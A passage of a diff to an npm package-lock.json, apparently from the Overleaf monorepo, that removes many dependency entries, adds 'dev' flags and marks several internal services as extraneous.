+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/tiny-warning/-/tiny-warning-1.0.3.tgz",
+@@ -29472,6 +23671,7 @@
+ "version": "0.3.0",
+ "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz",
+ "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=",
++ "dev": true,
+ "dependencies": {
+ "kind-of": "^3.0.2"
+ },
+@@ -29483,6 +23683,7 @@
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
++ "dev": true,
+ "dependencies": {
+ "is-buffer": "^1.1.5"
+ },
+@@ -29490,28 +23691,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/to-readable-stream": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz",
+- "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==",
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/to-regex": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz",
+- "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==",
+- "dependencies": {
+- "define-property": "^2.0.2",
+- "extend-shallow": "^3.0.2",
+- "regex-not": "^1.0.2",
+- "safe-regex": "^1.1.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+@@ -29531,29 +23710,6 @@
+ "node": ">=0.12.0"
+ }
+ },
+- "node_modules/to-regex/node_modules/extend-shallow": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=",
+- "dependencies": {
+- "assign-symbols": "^1.0.0",
+- "is-extendable": "^1.0.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/to-regex/node_modules/is-extendable": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+- "dependencies": {
+- "is-plain-object": "^2.0.4"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/to-string-loader": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/to-string-loader/-/to-string-loader-1.2.0.tgz",
+@@ -29675,31 +23831,11 @@
+ "integrity": "sha512-gVweAectJU3ebq//Ferr2JUY4WKSDe5N+z0FvjDncLGyHmIDoxgY/2Ie4qfEIDm4IS7OA6Rmdm7pdEEdMcV/xQ==",
+ "dev": true
+ },
+- "node_modules/topo": {
+- "version": "3.0.3",
+- "resolved": "https://registry.npmjs.org/topo/-/topo-3.0.3.tgz",
+- "integrity": "sha512-IgpPtvD4kjrJ7CRA3ov2FhWQADwv+Tdqbsf1ZnPUSAtCJ9e1Z44MmoSGDXGk4IppoZA7jd/QRkNddlLJWlUZsQ==",
+- "deprecated": "This module has moved and is now available at @hapi/topo. Please update your dependencies as this version is no longer maintained an may contain bugs and security issues.",
+- "dependencies": {
+- "hoek": "6.x.x"
+- }
+- },
+- "node_modules/topo/node_modules/hoek": {
+- "version": "6.1.3",
+- "resolved": "https://registry.npmjs.org/hoek/-/hoek-6.1.3.tgz",
+- "integrity": "sha512-YXXAAhmF9zpQbC7LEcREFtXfGq5K1fmd+4PHkBq8NUqmzW3G+Dq10bI/i0KucLRwss3YYFQ0fSfoxBZYiGUqtQ==",
+- "deprecated": "This module has moved and is now available at @hapi/hoek. Please update your dependencies as this version is no longer maintained an may contain bugs and security issues."
+- },
+ "node_modules/toposort": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/toposort/-/toposort-2.0.2.tgz",
+ "integrity": "sha1-riF2gXXRVZ1IvvNUILL0li8JwzA="
+ },
+- "node_modules/toposort-class": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/toposort-class/-/toposort-class-1.0.1.tgz",
+- "integrity": "sha1-f/0feMi+KMO6Rc1OGj9e4ZO9mYg="
+- },
+ "node_modules/touch": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/touch/-/touch-3.1.0.tgz",
+@@ -29934,7 +24070,8 @@
+ "node_modules/typical": {
+ "version": "2.6.1",
+ "resolved": "https://registry.npmjs.org/typical/-/typical-2.6.1.tgz",
+- "integrity": "sha1-XAgOXWYcu+OCWdLnCjxyU+hziB0="
++ "integrity": "sha1-XAgOXWYcu+OCWdLnCjxyU+hziB0=",
++ "dev": true
+ },
+ "node_modules/ua-parser-js": {
+ "version": "0.7.31",
+@@ -29988,18 +24125,6 @@
+ "resolved": "https://registry.npmjs.org/uid2/-/uid2-0.0.4.tgz",
+ "integrity": "sha512-IevTus0SbGwQzYh3+fRsAMTVVPOoIVufzacXcHPmdlle1jUpq7BRL+mw3dgeLanvGZdwwbWhRV6XrcFNdBmjWA=="
+ },
+- "node_modules/umzug": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/umzug/-/umzug-2.3.0.tgz",
+- "integrity": "sha512-Z274K+e8goZK8QJxmbRPhl89HPO1K+ORFtm6rySPhFKfKc5GHhqdzD0SGhSWHkzoXasqJuItdhorSvY7/Cgflw==",
+- "dev": true,
+- "dependencies": {
+- "bluebird": "^3.7.2"
+- },
+- "engines": {
+- "node": ">=6.0.0"
+- }
+- },
+ "node_modules/unbox-primitive": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.1.tgz",
+@@ -30018,6 +24143,7 @@
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/unc-path-regex/-/unc-path-regex-0.1.2.tgz",
+ "integrity": "sha1-5z3T17DXxe2G+6xrCufYxqadUPo=",
++ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+@@ -30104,20 +24230,6 @@
+ "node": ">=4"
+ }
+ },
+- "node_modules/union-value": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz",
+- "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==",
+- "dependencies": {
+- "arr-union": "^3.1.0",
+- "get-value": "^2.0.6",
+- "is-extendable": "^0.1.1",
+- "set-value": "^2.0.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/unique-stream": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/unique-stream/-/unique-stream-2.3.1.tgz",
+@@ -30139,11 +24251,6 @@
+ "node": ">=8"
+ }
+ },
+- "node_modules/universal-user-agent": {
+- "version": "6.0.0",
+- "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-6.0.0.tgz",
+- "integrity": "sha512-isyNax3wXoKaulPDZWHQqbmIx1k2tb9fb3GGDBRxCscfYV2Ch7WxPArBsFEG8s/safwXTT7H4QGhaIkTp9447w=="
+- },
+ "node_modules/universalify": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
+@@ -30160,55 +24267,6 @@
+ "node": ">= 0.8"
+ }
+ },
+- "node_modules/unset-value": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz",
+- "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=",
+- "dependencies": {
+- "has-value": "^0.3.1",
+- "isobject": "^3.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/unset-value/node_modules/has-value": {
+- "version": "0.3.1",
+- "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz",
+- "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=",
+- "dependencies": {
+- "get-value": "^2.0.3",
+- "has-values": "^0.1.4",
+- "isobject": "^2.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/unset-value/node_modules/has-value/node_modules/isobject": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz",
+- "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=",
+- "dependencies": {
+- "isarray": "1.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/unset-value/node_modules/has-values": {
+- "version": "0.1.4",
+- "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz",
+- "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/unset-value/node_modules/isarray": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+- },
+ "node_modules/untildify": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz",
+@@ -30275,12 +24333,6 @@
+ "punycode": "^2.1.0"
+ }
+ },
+- "node_modules/urix": {
+- "version": "0.1.0",
+- "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz",
+- "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=",
+- "deprecated": "Please see https://github.com/lydell/urix#deprecated"
+- },
+ "node_modules/url": {
+ "version": "0.10.3",
+ "resolved": "https://registry.npmjs.org/url/-/url-0.10.3.tgz",
+@@ -30290,11 +24342,6 @@
+ "querystring": "0.2.0"
+ }
+ },
+- "node_modules/url-join": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/url-join/-/url-join-4.0.1.tgz",
+- "integrity": "sha512-jk1+QP6ZJqyOiuEI9AEWQfju/nB2Pw466kbA0LEZljHwKeMgd9WrAEgEGxjPDD2+TNbbb37rTyhEfrCXfuKXnA=="
+- },
+ "node_modules/url-parse": {
+ "version": "1.5.10",
+ "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",
+@@ -30304,43 +24351,11 @@
+ "requires-port": "^1.0.0"
+ }
+ },
+- "node_modules/url-parse-lax": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz",
+- "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=",
+- "dependencies": {
+- "prepend-http": "^2.0.0"
+- },
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "node_modules/url-parse-lax/node_modules/prepend-http": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz",
+- "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=",
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "node_modules/url-template": {
+- "version": "2.0.8",
+- "resolved": "https://registry.npmjs.org/url-template/-/url-template-2.0.8.tgz",
+- "integrity": "sha1-/FZaPMy/93MMd19WQflVV5FDnyE="
+- },
+ "node_modules/url/node_modules/punycode": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz",
+ "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0="
+ },
+- "node_modules/use": {
+- "version": "3.1.1",
+- "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz",
+- "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/utf-8-validate": {
+ "version": "5.0.8",
+ "resolved": "https://registry.npmjs.org/utf-8-validate/-/utf-8-validate-5.0.8.tgz",
+@@ -30398,6 +24413,7 @@
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/utils-flatten/-/utils-flatten-1.0.0.tgz",
+ "integrity": "sha1-AfMNMZO+RkxAsxdV5nQNDbDO8kM=",
++ "dev": true,
+ "engines": {
+ "node": ">= 0.4.0"
+ }
+@@ -30448,17 +24464,6 @@
+ "node": ">= 8"
+ }
+ },
+- "node_modules/v8flags": {
+- "version": "3.2.0",
+- "resolved": "https://registry.npmjs.org/v8flags/-/v8flags-3.2.0.tgz",
+- "integrity": "sha512-mH8etigqMfiGWdeXpaaqGfs6BndypxusHHcv2qSHyZkGEznCd/qAXCWWRzeowtL54147cktFOC4P5y+kl8d8Jg==",
+- "dependencies": {
+- "homedir-polyfill": "^1.0.1"
+- },
+- "engines": {
+- "node": ">= 0.10"
+- }
+- },
+ "node_modules/valid-data-url": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/valid-data-url/-/valid-data-url-2.0.0.tgz",
+@@ -30472,14 +24477,6 @@
+ "resolved": "https://registry.npmjs.org/valid-url/-/valid-url-1.0.9.tgz",
+ "integrity": "sha1-HBRHm0DxOXp1eC8RXkCGRHQzogA="
+ },
+- "node_modules/validator": {
+- "version": "13.7.0",
+- "resolved": "https://registry.npmjs.org/validator/-/validator-13.7.0.tgz",
+- "integrity": "sha512-nYXQLCBkpJ8X6ltALua9dRrZDHVYxjJ1wgskNt1lH9fzGjs3tgojGSCBjmEPwkWS1y29+DrizMTW19Pr9uB2nw==",
+- "engines": {
+- "node": ">= 0.10"
+- }
+- },
+ "node_modules/value-or-function": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/value-or-function/-/value-or-function-3.0.0.tgz",
+@@ -31332,14 +25329,6 @@
+ "node": ">= 10.0.0"
+ }
+ },
+- "node_modules/wkx": {
+- "version": "0.4.8",
+- "resolved": "https://registry.npmjs.org/wkx/-/wkx-0.4.8.tgz",
+- "integrity": "sha512-ikPXMM9IR/gy/LwiOSqWlSL3X/J5uk9EO2hHNRXS41eTLXaUFEVw9fn/593jW/tE5tedNg8YjT5HkCa4FqQZyQ==",
+- "dependencies": {
+- "@types/node": "*"
+- }
+- },
+ "node_modules/word-wrap": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz",
+@@ -31450,6 +25439,7 @@
+ "version": "8.4.2",
+ "resolved": "https://registry.npmjs.org/ws/-/ws-8.4.2.tgz",
+ "integrity": "sha512-Kbk4Nxyq7/ZWqr/tarI9yIt/+iNNFOjBXEWgTb4ydaNHBNGgvf2QHbS9fdfsndfjFlFwEd4Al+mw83YkaD10ZA==",
++ "devOptional": true,
+ "engines": {
+ "node": ">=10.0.0"
+ },
+@@ -31584,6 +25574,7 @@
+ "version": "0.0.5",
+ "resolved": "https://registry.npmjs.org/xpath/-/xpath-0.0.5.tgz",
+ "integrity": "sha1-RUA29u8PPfWvXUukoRn7dWdLPmw=",
++ "dev": true,
+ "engines": {
+ "node": ">=0.6.0"
+ }
+@@ -31660,23 +25651,6 @@
+ "node": ">= 6"
+ }
+ },
+- "node_modules/yargs": {
+- "version": "17.3.1",
+- "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.3.1.tgz",
+- "integrity": "sha512-WUANQeVgjLbNsEmGk20f+nlHgOqzRFpiGWVaBrYGYIGANIIu3lWjoyi0fNlFmJkvfhCZ6BXINe7/W2O2bV4iaA==",
+- "dependencies": {
+- "cliui": "^7.0.2",
+- "escalade": "^3.1.1",
+- "get-caller-file": "^2.0.5",
+- "require-directory": "^2.1.1",
+- "string-width": "^4.2.3",
+- "y18n": "^5.0.5",
+- "yargs-parser": "^21.0.0"
+- },
+- "engines": {
+- "node": ">=12"
+- }
+- },
+ "node_modules/yargs-parser": {
+ "version": "20.2.4",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz",
+@@ -31721,14 +25695,6 @@
+ "node": ">=8"
+ }
+ },
+- "node_modules/yargs/node_modules/yargs-parser": {
+- "version": "21.0.0",
+- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.0.0.tgz",
+- "integrity": "sha512-z9kApYUOCwoeZ78rfRYYWdiU/iNL6mwwYlkkZfJoyMR1xps+NEBX5X7XmRpxkZHhXJ6+Ey00IwKxBBSW9FIjyA==",
+- "engines": {
+- "node": ">=12"
+- }
+- },
+ "node_modules/yauzl": {
+ "version": "2.10.0",
+ "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz",
+@@ -31774,44 +25740,6 @@
+ "node": ">=10"
+ }
+ },
+- "node_modules/z-schema": {
+- "version": "3.25.1",
+- "resolved": "https://registry.npmjs.org/z-schema/-/z-schema-3.25.1.tgz",
+- "integrity": "sha512-7tDlwhrBG+oYFdXNOjILSurpfQyuVgkRe3hB2q8TEssamDHB7BbLWYkYO98nTn0FibfdFroFKDjndbgufAgS/Q==",
+- "dependencies": {
+- "core-js": "^2.5.7",
+- "lodash.get": "^4.0.0",
+- "lodash.isequal": "^4.0.0",
+- "validator": "^10.0.0"
+- },
+- "bin": {
+- "z-schema": "bin/z-schema"
+- },
+- "optionalDependencies": {
+- "commander": "^2.7.1"
+- }
+- },
+- "node_modules/z-schema/node_modules/commander": {
+- "version": "2.20.3",
+- "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
+- "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==",
+- "optional": true
+- },
+- "node_modules/z-schema/node_modules/core-js": {
+- "version": "2.6.12",
+- "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.12.tgz",
+- "integrity": "sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==",
+- "deprecated": "core-js@<3.4 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Please, upgrade your dependencies to the actual version of core-js.",
+- "hasInstallScript": true
+- },
+- "node_modules/z-schema/node_modules/validator": {
+- "version": "10.11.0",
+- "resolved": "https://registry.npmjs.org/validator/-/validator-10.11.0.tgz",
+- "integrity": "sha512-X/p3UZerAIsbBfN/IwahhYaBbY68EN/UQBWHtsbXGT5bfrH/p4NQzUCG1kF/rtKaNpnJ7jAu6NGTdSNtyNIXMw==",
+- "engines": {
+- "node": ">= 0.10"
+- }
+- },
+ "node_modules/zeparser": {
+ "version": "0.0.5",
+ "resolved": "https://registry.npmjs.org/zeparser/-/zeparser-0.0.5.tgz",
+@@ -31833,17 +25761,9 @@
+ "node": ">= 10"
+ }
+ },
+- "node_modules/zlib": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/zlib/-/zlib-1.0.5.tgz",
+- "integrity": "sha512-40fpE2II+Cd3k8HWTWONfeKE2jL+P42iWJ1zzps5W51qcTsOUKM5Q5m2PFb0CLxlmFAaUuUdJGc3OfZy947v0w==",
+- "hasInstallScript": true,
+- "engines": {
+- "node": ">=0.2.0"
+- }
+- },
+ "services/analytics": {
+ "name": "@overleaf/analytics",
++ "extraneous": true,
+ "dependencies": {
+ "@google-cloud/bigquery": "^5.9.0",
+ "@google-cloud/storage": "^4.6.0",
+@@ -31896,25 +25816,6 @@
+ "sinon-chai": "^3.7.0"
+ }
+ },
+- "services/analytics/node_modules/minimist": {
+- "version": "1.2.6",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz",
+- "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q=="
+- },
+- "services/analytics/node_modules/p-limit": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+- "dependencies": {
+- "p-try": "^2.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/sindresorhus"
+- }
+- },
+ "services/chat": {
+ "name": "@overleaf/chat",
+ "dependencies": {
+@@ -32190,6 +26091,7 @@
+ },
+ "services/clsi-perf": {
+ "name": "@overleaf/clsi-perf",
++ "extraneous": true,
+ "dependencies": {
+ "@google-cloud/bigquery": "^5.6.0",
+ "@overleaf/logger": "^3.1.0",
+@@ -32209,14 +26111,6 @@
+ "mocha": "^8.4.0"
+ }
+ },
+- "services/clsi-perf/node_modules/cookie": {
+- "version": "0.4.1",
+- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.1.tgz",
+- "integrity": "sha512-ZwrFkGJxUR3EIoXtO+yVE69Eb7KlixbaeAWfBQB9vVsNn/o+Yw69gBWSSDK825hQNdN+wF8zELf3dFNl/kxkUA==",
+- "engines": {
+- "node": ">= 0.6"
+- }
+- },
+ "services/clsi/node_modules/diff": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
+@@ -32913,6 +26807,7 @@
+ },
+ "services/freegeoip": {
+ "version": "1.0.0",
++ "extraneous": true,
+ "license": "ISC",
+ "dependencies": {
+ "@maxmind/geoip2-node": "^3.4.0",
+@@ -32933,6 +26828,7 @@
+ },
+ "services/github-sync": {
+ "name": "@overleaf/github-sync",
++ "extraneous": true,
+ "dependencies": {
+ "@octokit/request": "^5.6.3",
+ "@overleaf/access-token-encryptor": "^2.2.0",
+@@ -32961,23 +26857,10 @@
+ "timekeeper": "2.2.0"
+ }
+ },
+- "services/github-sync/node_modules/p-limit": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+- "dependencies": {
+- "p-try": "^2.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/sindresorhus"
+- }
+- },
+ "services/history-v1": {
+ "name": "overleaf-editor",
+ "version": "1.0.0",
++ "extraneous": true,
+ "license": "Proprietary",
+ "dependencies": {
+ "@overleaf/logger": "^3.1.0",
+@@ -33022,171 +26905,17 @@
+ "yauzl": "^2.9.1"
+ }
+ },
+- "services/history-v1/node_modules/array-back": {
+- "version": "1.0.4",
+- "resolved": "https://registry.npmjs.org/array-back/-/array-back-1.0.4.tgz",
+- "integrity": "sha1-ZEun8JX3/898Q7Xw3DnTwfA8Bjs=",
+- "dependencies": {
+- "typical": "^2.6.0"
+- },
+- "engines": {
+- "node": ">=0.12.0"
+- }
+- },
+- "services/history-v1/node_modules/check-types": {
+- "version": "11.1.2",
+- "resolved": "https://registry.npmjs.org/check-types/-/check-types-11.1.2.tgz",
+- "integrity": "sha512-tzWzvgePgLORb9/3a0YenggReLKAIb2owL03H2Xdoe5pKcUyWRSEQ8xfCar8t2SIAuEDwtmx2da1YB52YuHQMQ=="
+- },
+- "services/history-v1/node_modules/command-line-args": {
+- "version": "3.0.5",
+- "resolved": "https://registry.npmjs.org/command-line-args/-/command-line-args-3.0.5.tgz",
+- "integrity": "sha1-W9StReeYPlwTRJGOQCgO4mk8WsA=",
+- "dependencies": {
+- "array-back": "^1.0.4",
+- "feature-detect-es6": "^1.3.1",
+- "find-replace": "^1.0.2",
+- "typical": "^2.6.0"
+- },
+- "bin": {
+- "command-line-args": "bin.js"
+- }
+- },
+- "services/history-v1/node_modules/find-replace": {
+- "version": "1.0.3",
+- "resolved": "https://registry.npmjs.org/find-replace/-/find-replace-1.0.3.tgz",
+- "integrity": "sha1-uI5zZNLZyVlVnziMZmcNYTBEH6A=",
+- "dependencies": {
+- "array-back": "^1.0.4",
+- "test-value": "^2.1.0"
+- },
+- "engines": {
+- "node": ">=4.0.0"
+- }
+- },
+- "services/history-v1/node_modules/fs-extra": {
+- "version": "9.1.0",
+- "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
+- "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
+- "dependencies": {
+- "at-least-node": "^1.0.0",
+- "graceful-fs": "^4.2.0",
+- "jsonfile": "^6.0.1",
+- "universalify": "^2.0.0"
+- },
+- "engines": {
+- "node": ">=10"
+- }
+- },
+- "services/history-v1/node_modules/test-value": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/test-value/-/test-value-2.1.0.tgz",
+- "integrity": "sha1-Edpv9nDzRxpztiXKTz/c97t0gpE=",
+- "dependencies": {
+- "array-back": "^1.0.3",
+- "typical": "^2.6.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "services/idp": {
+ "name": "@overleaf/idp",
++ "extraneous": true,
+ "dependencies": {
+ "express": "^4.17.1",
+ "samlp": "^6.0.1"
+ }
+ },
+- "services/idp/node_modules/async": {
+- "version": "0.2.10",
+- "resolved": "https://registry.npmjs.org/async/-/async-0.2.10.tgz",
+- "integrity": "sha512-eAkdoKxU6/LkKDBzLpT+t6Ff5EtfSF4wx1WfJiPEEV7WNLnDaRXk0oVysiEPm262roaachGexwUv94WhSgN5TQ=="
+- },
+- "services/idp/node_modules/moment": {
+- "version": "2.19.3",
+- "resolved": "https://registry.npmjs.org/moment/-/moment-2.19.3.tgz",
+- "integrity": "sha1-vbmdJw1tf9p4zA+6zoVeJ/59pp8=",
+- "engines": {
+- "node": "*"
+- }
+- },
+- "services/idp/node_modules/node-forge": {
+- "version": "0.10.0",
+- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz",
+- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==",
+- "engines": {
+- "node": ">= 6.0.0"
+- }
+- },
+- "services/idp/node_modules/saml": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/saml/-/saml-1.0.1.tgz",
+- "integrity": "sha512-BzzlTdXNICrIGhJkq168n0WJpwXYr3xyMd7UHC7/s8F4M6zHSEItwEuKGmm6HjsttZk/hJcrw7fY0OZ9wE+v7Q==",
+- "dependencies": {
+- "@xmldom/xmldom": "^0.7.4",
+- "async": "~0.2.9",
+- "moment": "2.19.3",
+- "valid-url": "~1.0.9",
+- "xml-crypto": "^2.1.3",
+- "xml-encryption": "^1.2.1",
+- "xml-name-validator": "~2.0.1",
+- "xpath": "0.0.5"
+- }
+- },
+- "services/idp/node_modules/samlp": {
+- "version": "6.0.2",
+- "resolved": "https://registry.npmjs.org/samlp/-/samlp-6.0.2.tgz",
+- "integrity": "sha512-LeEgzxBRRasDk4EOiGZgIa4ytvHNnYDMI9Wp2tGh+v7fi3bjZYG1ufJK3YWGDTb5HFG8Y7ybpYzw/o2tThBgLQ==",
+- "dependencies": {
+- "@auth0/thumbprint": "0.0.6",
+- "@auth0/xmldom": "0.1.21",
+- "auth0-id-generator": "^0.2.0",
+- "ejs": "2.5.5",
+- "flowstate": "^0.4.0",
+- "querystring": "^0.2.0",
+- "saml": "^1.0.0",
+- "xml-crypto": "^2.0.0",
+- "xpath": "0.0.5",
+- "xtend": "^1.0.3"
+- }
+- },
+- "services/idp/node_modules/xml-encryption": {
+- "version": "1.3.0",
+- "resolved": "https://registry.npmjs.org/xml-encryption/-/xml-encryption-1.3.0.tgz",
+- "integrity": "sha512-3P8C4egMMxSR1BmsRM+fG16a3WzOuUEQKS2U4c3AZ5v7OseIfdUeVkD8dwxIhuLryFZSRWUL5OP6oqkgU7hguA==",
+- "dependencies": {
+- "@xmldom/xmldom": "^0.7.0",
+- "escape-html": "^1.0.3",
+- "node-forge": "^0.10.0",
+- "xpath": "0.0.32"
+- },
+- "engines": {
+- "node": ">=8"
+- }
+- },
+- "services/idp/node_modules/xml-encryption/node_modules/xpath": {
+- "version": "0.0.32",
+- "resolved": "https://registry.npmjs.org/xpath/-/xpath-0.0.32.tgz",
+- "integrity": "sha512-rxMJhSIoiO8vXcWvSifKqhvV96GjiD5wYb8/QHdoRyQvraTpp4IEv944nhGausZZ3u7dhQXteZuZbaqfpB7uYw==",
+- "engines": {
+- "node": ">=0.6.0"
+- }
+- },
+- "services/idp/node_modules/xml-name-validator": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-2.0.1.tgz",
+- "integrity": "sha1-TYuPHszTQZqjYgYb7O9RXh5VljU="
+- },
+- "services/idp/node_modules/xtend": {
